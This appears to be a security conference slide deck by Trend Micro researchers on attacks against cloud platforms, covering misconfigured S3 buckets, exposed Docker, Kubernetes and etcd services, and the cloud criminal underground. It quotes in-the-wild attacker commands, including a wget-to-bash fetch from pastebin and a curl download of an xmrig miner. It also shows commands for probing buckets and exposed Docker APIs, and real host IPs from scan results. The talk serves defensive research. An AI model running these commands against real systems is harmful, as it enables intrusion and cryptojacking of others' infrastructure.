BREAKING and SECURING CLOUD PLATFORMS

Joey Costoya, Roel Reyes, Dr. Morton Swimmer, Dr. Fyodor Yarochkin
Forward-looking Threat Research, Trend Micro Research
WHOAMI

• A security researcher with Trend Micro Taiwan
• 2005(?) my first HITB
• Говорю по русски
• 還會說華語 😊
• Also a Doctor 😊

Forward-looking Threat Research
Agenda: “Cloud War Stories”

- cloud platforms into
- in-the wild attacks on cloud
- “cloud” underground
- The most adaptive user of cloud technologies
Cloud

• So what is cloud? Technically it is just a computing platform that someone else is managing for you :-D
Cloud is complex

Just spent 27 minutes explaining to highly compensated software engineers the differences between #aws s3 access logs and s3 object logging to cloudtrail.

Those are 27 minutes I'll never get back.

2:34 AM · 10 Apr 20 · Twitter for Mac

1 Retweet 3 Likes
Prominent “somebody else”’s computers ..
Google Cloud Platform
And then...

• There is also dropbox, {telecom}cloud(s), Alibaba cloud and all sorts of other clouds
Massive US military social media spying archive left wide open in AWS S3 buckets

Dozens of terabytes exposed, your tax dollars at work

By Iain Thomson in San Francisco 17 Nov 2017 at 20:08

Nearly 20% of the 1000 Most Popular Docker Containers Have No Root Password

By Jerry Gambin

May 20, 2019
Implications (in a nutshell)

• **Complex** systems

• Cloud **common** in enterprises: and attackers

• **DevOps** culture ->
Your cloud
Controlled by you
Controlled by your Cloud provider

Your Applications
Data Access on Cloud
S3 buckets

That’s where the data is
Guys, you're killing us! LA Times homicide site hacked to mine crypto-coins on netizens' PCs

And they say there's no money to be made in newspapers

By Shaun Nichols in San Francisco 22 Feb 2018 at 00:29

A Los Angeles Times' website has been silently mining crypto-coins using visitors' web browsers and PCs for several days – after hackers snuck mining code onto its webpages.

The newspaper's IT staffers left at least one of the publication's Amazon Web Services S3 cloud storage buckets wide open to anyone on the internet to freely change, update, and tamper.

Originally: Troy Mursch/Bad Packets

“... website has been silently mining crypto-coins using visitors’ web browsers …”

https://homicide.latimes.com

via The Register, 22 Feb 2018
curl -v https://homicide.latimes.com
...
< via: 1.1 varnish-v4, 1.1 a8d86686b5d25a5cfcb0df362279f88.cloudfront.net (CloudFront)
...

Question: What is the AWS bucket?

s3://???????.s3.amazonaws.com

AWS Cloudfront!
Guess the bucket: Trail and error!

www.example.com
www-example-com
www.example.com-prod
www.example.com-aws
bucket-www.example.com

... "aws s3api ..."

www.example.com-aws

FQDN  Candidate bucket names  AWS Test  Bucket name

Tutorials often suggest bucket names that fit this pattern
https://2019.elbsides.de

s3://2019.elbsides.de

$ aws s3api get-bucket-acl --bucket 2019.elbsides.de
An error occurred (AccessDenied) when calling the GetBucketAcl operation: Access Denied
We don’t want to see:

```json
{
    "Owner": {
        "DisplayName": "…",
        "ID": "…"
    },
    "Grants": [
        {
            "Grantee": {
                "Type": "Group",
                "URI": "http://acs.amazonaws.com/groups/global/AllUsers"
            },
            "Permission": "FULL_CONTROL"
        }
    ]
}
```
Are there any critical sites on S3?
5.6k buckets found

4.4k buckets accessible

79 readable

40 writable
5.6k buckets found

4.4k buckets accessible

Random Robbie
@Random_Robbie

5260... S3 buckets sorry that have my POC.txt file in.

7:27 PM · Feb 20, 2018 · Twitter Web Client
aws s3 ls s3://##########

Hello,
This is a friendly warning that your Amazon AWS S3 bucket settings are wrong. Anyone can write to this bucket. Please fix this before a bad guy finds it.

Hello from https://www.twitter.com/random_robbie - this is a proof of concept to check if your S3 bucket has incorrect permissions.

Please secure your s3 bucket before a bad guy finds it!!

DM's are open if you wish to chat.
BugDisclosure.txt was dropped on the site

It was ignored

With bucket logging, this would have been seen


Monero miner on Coinhive platform
Static website hosting on AWS S3

Great idea!

But check your permissions!
Log bucket accesses and monitor them
Writable buckets lead to data exfil
Other things are also possible, of course 😊

Just be creative 😊😊

Videos

- Black Hat USA 2013 - Million Browser Botnet
- DEFCON 20: Owning Bad Guys {And Mafia} With Javascript ...
- DEFCON 20: Javascript Botnets
A variation: Reflection attacks

Former AWS software engineer arrested over massive Capital One data leak

Accessed 100m credit card applications.
Why did this work? A magic link-local address

Using temporary security credentials

If you are signing your request using temporary security credentials (see Making requests), you must include the corresponding security token in your request by adding the x-amz-security-token header.

When you obtain temporary security credentials using the AWS Security Token Service API, the response includes temporary security credentials and a session token. You provide the session token value in the x-amz-security-token header when you send requests to Amazon S3. For information about the AWS Security Token Service API provided by IAM, go to Action in the AWS Security Token Service API Reference Guide.

... X-Amz-Algorithm=AWS4-HMAC-SHA256 &X-Amz-Credential= ...
Other “hints”: good luck ;-)
Mitigation

Limiting instance metadata service access

You can consider using local firewall rules to disable access from some or all processes to the instance metadata service.

Using iptables to limit access

The following example uses Linux iptables and its `owner` module to prevent the Apache webserver (based on its default installation user ID of `apache`) from accessing 169.254.169.254. It uses a *deny rule* to reject all instance metadata requests (whether IMDSv1 or IMDSv2) from any process running as that user.

```
$ sudo iptables --append OUTPUT --proto tcp --destination 169.254.169.2
```
Hacking cloud with google dorks
Finding “moving fast” devops 😊

Remember: “move fast break things” MOTTO?
# This security group defines Nginx Web proxy host.
# By default we're just allowing access from the load balancer. If you wish to open this into the hosts, or expose non-load balanced services you can open their

ProxyHostSG:

Type: "AWS::EC2::SecurityGroup"

Properties:

  VpcId: !Ref "PMVPC"
  GroupDescription: "Web Server Security Group"

SecurityGroupIngress:

  - CidrIp: !Ref "PMOWNIP"
    FromPort: "22"
    IpProtocol: "tcp"
    ToPort: "22"

  - FromPort: "443"
    IpProtocol: "tcp"
    SourceSecurityGroupId:
      Ref: "WEBELBSG"
    ToPort: "443"

  - FromPort: "80"
    IpProtocol: "tcp"
    SourceSecurityGroupId:
      Ref: "WEBELBSG"
    ToPort: "80"
Kubeconfig, another work 😊

```
apiVersion: v1
clusters:
  - cluster:
      certificate-authority-data: LS0tLS1C
      name: dsp-dev
      contexts:
        - context:
            cluster: dsp-dev
            namespace: dev-induction
            user: dsp-dev
          name: dev-induction
          recent-context: dev-induction
          config:
            clusters:
              - client-certs:"...

	- name: dsp-dev
          user:
            token: X00000000
```
Root cause? Bad tutorials lead to bad practices
Bad tutorials reinforce bad practices

• Creds end up everywhere: virustotal, github, pastebin. Many hunters
As our bucket is private, however, we must also sign the upload request, and immediately our form gets a little more complicated:

```html
<form method="post" action="https://{{ config('filesystems.disks.s3.bucket') }}">
  <input type="hidden" name="AWSAccessKeyId" value="{{ config('filesystems.disks.s3.key') }}">
  <input type="hidden" name="acl" value="private">
  <input type="hidden" name="key" value="${filename}">
  <input type="hidden" name="policy" value="${policy }">
  <input type="hidden" name="success_action_redirect" value="${url('/s3') }">
  <input type="hidden" name="signature" value="${signature }">
  <input type="file" name="file">
  <button type="submit">Upload</button>
</form>
```

We've added the following fields to our form:
Credentials like a litter everywhere
Code Execution on Cloud
Containers

Linux CGROUPS + Kernel Namespaces

Base OS
Dependencies
Application

Container server
Docker and DockerHub

Kubernetes

Apache Mesos

Elastic Container Service

Elastic Kubernetes Service

Fargate
<table>
<thead>
<tr>
<th>TOTAL RESULTS</th>
<th>11,681</th>
</tr>
</thead>
</table>

**TOP COUNTRIES**

- United States: 3,897
- Singapore: 1,331
- United Kingdom: 1,247
- Germany: 1,030
- Netherlands: 887

**TOP ORGANIZATIONS**

- Digital Ocean: 4,137
- Amazon.com: 1,936
- DigitalOcean: 814
- Amazon Data Services Japan: 175
- DigitalOcean, LLC: 95

**TOP OPERATING SYSTEMS**

- Unix: 1,319
- Windows: 19
- Linux 3.x: 1

**New Service:** Keep track of what you have connected to the Internet. Check out Shodan Monitor

- **4k / one month**
- **45 verifiably exposed**
```
$ docker -H docker-host-fqdn ps

<table>
<thead>
<tr>
<th>CONTAINER ID</th>
<th>IMAGE</th>
<th>COMMAND</th>
<th>CREATED</th>
</tr>
</thead>
<tbody>
<tr>
<td>dea5e5131e1b</td>
<td>opencti/connector-mitre:1.1.2</td>
<td>/entrypoint.sh</td>
<td>3 weeks ago</td>
</tr>
<tr>
<td>fb64c9df4e6f</td>
<td>opencti/worker:1.1.2</td>
<td>/entrypoint.sh</td>
<td>3 weeks ago</td>
</tr>
<tr>
<td>0868c5614cc0</td>
<td>opencti/worker:1.1.2</td>
<td>/entrypoint.sh</td>
<td>3 weeks ago</td>
</tr>
<tr>
<td>f6e78c6bc72e</td>
<td>opencti/worker:1.1.2</td>
<td>/entrypoint.sh</td>
<td>3 weeks ago</td>
</tr>
<tr>
<td>7b1f76e19681</td>
<td>opencti/worker:1.1.2</td>
<td>/entrypoint.sh</td>
<td>3 weeks ago</td>
</tr>
<tr>
<td>97ef724db62</td>
<td>opencti/worker:1.1.2</td>
<td>/entrypoint.sh</td>
<td>3 weeks ago</td>
</tr>
<tr>
<td>6f2dfc738353</td>
<td>opencti/worker:1.1.2</td>
<td>/entrypoint.sh</td>
<td>3 weeks ago</td>
</tr>
<tr>
<td>25dd39a655d4</td>
<td>opencti/connector-opencti:1.1.2</td>
<td>/entrypoint.sh</td>
<td>3 weeks ago</td>
</tr>
<tr>
<td>3bf9299547d8</td>
<td>opencti/platform:1.1.2</td>
<td>/entrypoint.sh</td>
<td>3 weeks ago</td>
</tr>
<tr>
<td>e59a906af147</td>
<td>rabbitmq:3.7.17-management</td>
<td>&quot;docker-entrypoint.sh&quot;</td>
<td>3 weeks ago</td>
</tr>
<tr>
<td>4bf506f43eea</td>
<td>docker.elastic.co/elasticsearch/elasticsearch:7.3.0</td>
<td>&quot;/usr/local/bin/docker-entrypoint.sh&quot;</td>
<td>3 weeks ago</td>
</tr>
<tr>
<td>e713f50d3d7b</td>
<td>graknlabs/grakn:1.5.8</td>
<td>&quot;/grakn-docker.sh&quot;</td>
<td>3 weeks ago</td>
</tr>
<tr>
<td>b64a11545130</td>
<td>redis:5.0.5</td>
<td>&quot;docker-entrypoint.sh&quot;</td>
<td>3 weeks ago</td>
</tr>
</tbody>
</table>
```
Cryptominer infections

“XMRig is a high performance RandomX and CryptoNight CPU miner, with official support for Windows.”

https://github.com/xmrig/xmrig

Named container infections

- bananajamma/xmrig
- bitnn/alpine-xmrig
- kannix/monero-miner

Also unnamed containers
Or from scratch

Docker image: bmoussaud/ubuntu-wget

sh -c 'wget -O- https://pastebin.com/raw/NzMFK1jA | bash'

#1) I only Wanna Mine.
#2) I don’t want your data, or anything or even a ransom.
#3) Please if you find this code, don’t post about it.
#4) lets talk Jeff4r190@tutanota.com
A new Docker server is created

Docker server ‘infected’ with a crypto miner

CPU utilization > threshold

Autoscaling kicks in

+$2
Why?

```
curl -vv http://COMPRIMISED_IP/
  * Trying COMPRIMISED_IP.
  * Connected to COMPRIMISED_IP.
  > GET /v1.19/containers
  > Host: COMPRIMISED_IP:443
  > User-Agent: curl/7.47
  > Accept: */*
  >
  < HTTP/1.1 200 OK
  < Content-Type: application
  < Date: Tue, 11 Apr 2017
  < Content-Length: 211
  <
  {"Id": "63e04e1d9406f0e91ca8c7c561c0", "Names": ["/naughty_blackwell"], "Image": "ubuntu", "Labels": {}, "Status": "Up 8 days"}
```
Kubernetes
Kubernetes API requires client certificate by default
So, Kubernetes is secure, right?

Unfortunately, client security is not enough
read-only http port: 10255
https control port: 10250

Diagram shows Kubelet, cAdvisor, and Pod components with Flannel, Weavenet, etc.
"kind": "PodList",
"apiVersion": "v1",
"metadata": {},
"items": [
{
"metadata": {
"name": "y2m3f3-0f309",
"generateName": "y2m3f3-",
"namespace": "default",
"selfLink": "/api/v1/namespaces/default/pods/y2m3f3-0f309",
"uid": "3b9f73d-f309-473e-b3c6-0e290c583c09",
"resourceVersion": "12138",
"creationTimestamp": "2019-06-22T18:43:00Z",
"labels": {
"app": "y2m3f3"
},
"annotations": {
"kubernetes.io/config.seen": "2019-06-22T18:43:00+00:00",
"kubernetes.io/config.source": "api"
},
"ownerReferences": [
{
"apiVersion": "v1",
"kind": "ReplicationController",
"name": "y2m3f3",
"uid": "3b9f73d-f309-473e-b3c6-0e290c583c09",
"controller": true,
"blockOwnerDeletion": true
}
],
"spec": {
"volumes": [
{
"name": "shared-data",
"emptyDir": {}
}
],
"ports": [
{
"containerPort": 10255
}]
}]}
"containers": [
  {
    "name": "myresd0",
    "image": "centos",
    "command": [
      "sh",
      "-c",
      "curl -o /var/tmp/xmrig http://127.0.0.1:5682/xmrig; curl -o /var/tmp/config.json http://127.0.0.1:56/222.json; chmod 777 /var/tmp/xmrig; cd /var/tmp; ./xmrig -c config.json"
    ],
    "resources": {},
    "volumeMounts": [
      {
        "name": "default-token-8lfsf",
        "readOnly": true,
        "mountPath": "/var/run/secrets/kubernetes.io/serviceaccount"
      }
    ],
    "terminationMessagePath": "/dev/termination-log",
    "terminationMessagePolicy": "File",
    "imagePullPolicy": "Always"
  }
],
2,151

TOP COUNTRIES

China 910
United States 463
Germany 182
France 196
Hong Kong 51

TOP ORGANIZATIONS

Hangzhou Alibaba Advertising 348
Amazon.com 248
Tencent cloud computing 297
Google Cloud 60
Hetzer Online GmbH 46

TOP VERSIONS

3.3.11 322
3.3.12 219
3.3.13 113
3.3.8 73
3.3.10 66

New Service: Keep track of what you have connected to the Internet. Check out Shodan Monitor

220.231.225.68
ShenzhenRunXinShuJuTongXinYouXianGongSi
Added on 2019-10-16 11:27:56 GMT
China

etcd
Name: controller01
Version: 2.2.22
Uptime: 18h28m11.243420162s
Peers: http://10.130.100.114:2380

23.236.115.25
Zanlayer
Added on 2019-10-16 11:03:53 GMT
United States, Diamond Bar

18.197.108.17
ec2-18-197-108-17.eu-central-1.compute.amazonaws.com
Amazon.com
Added on 2019-10-16 10:07:07 GMT
Germany, Frankfurt Am Main

etcd
Name: cumuluscity-staging-master3.etcd
Version: 1.0.17
Uptime: 18h57m30.103870752s
Peers: http://172.20.1.36:2380

111.230.146.52
Tencent cloud computing
Added on 2019-10-16 10:02:28 GMT
China, Beijing

etcd
Name: default
Version: 3.3.10
Uptime: 8420h1m59.404878454s
Peers: http://172.20.1.36:2380

2400 exposed
Leaky etcd
Certs in etcd
Cloud Masquerade
Masquerade..

- Does traffic to these machines look suspicious?

<table>
<thead>
<tr>
<th>NetRange:</th>
<th>13.64.0.0 - 13.107.255.255</th>
</tr>
</thead>
<tbody>
<tr>
<td>CIDR:</td>
<td>13.104.0.0/14, 13.96.0.0/13, 13.64.0.0/11</td>
</tr>
<tr>
<td>NetName:</td>
<td>MSFT</td>
</tr>
<tr>
<td>NetHandle:</td>
<td>NET-13-64-0-0-1</td>
</tr>
<tr>
<td>Parent:</td>
<td>NET13 (NET-13-0-0-0-0)</td>
</tr>
<tr>
<td>NetType:</td>
<td>Direct Assignment</td>
</tr>
<tr>
<td>OriginAS:</td>
<td></td>
</tr>
<tr>
<td>Organization:</td>
<td>Microsoft Corporation (MSFT)</td>
</tr>
<tr>
<td>RegDate:</td>
<td>2015-03-26</td>
</tr>
</tbody>
</table>
Create your Azure free account today
Get started with 12 months of free services
Exfiltration
Clouds - widely adopted by cybercriminals
Badness breakdown by ASN
Cloud in Underground
Free Google Cloud instances
Sale of cloud instances
I sell AWS Amazon accounts, sale in one hand. For those who are in the tank, I will say at once - these are NOT the accounts of the Amazon shop.
If you do not know what it is and what it is eaten with, then you do not need it.

Accounts are sold with raised EC2 limits - 10.20; SES - 50k. The price tag depends on the number and terms in which it is necessary to meet
“other” clouds

cryptopromo.kissr.com
ethgive.kissr.com
ether_promo.kissr.com
check-ethpayments1.kissr.com
ethereum-giveaway.kissr.com
And the last note..

Remember that
a “cloud”
Is just someone
else’s
computer?
a blackhat’s True Cloud
Questions?
@fygrave or Fyodor_yarochkin@trendmicro.com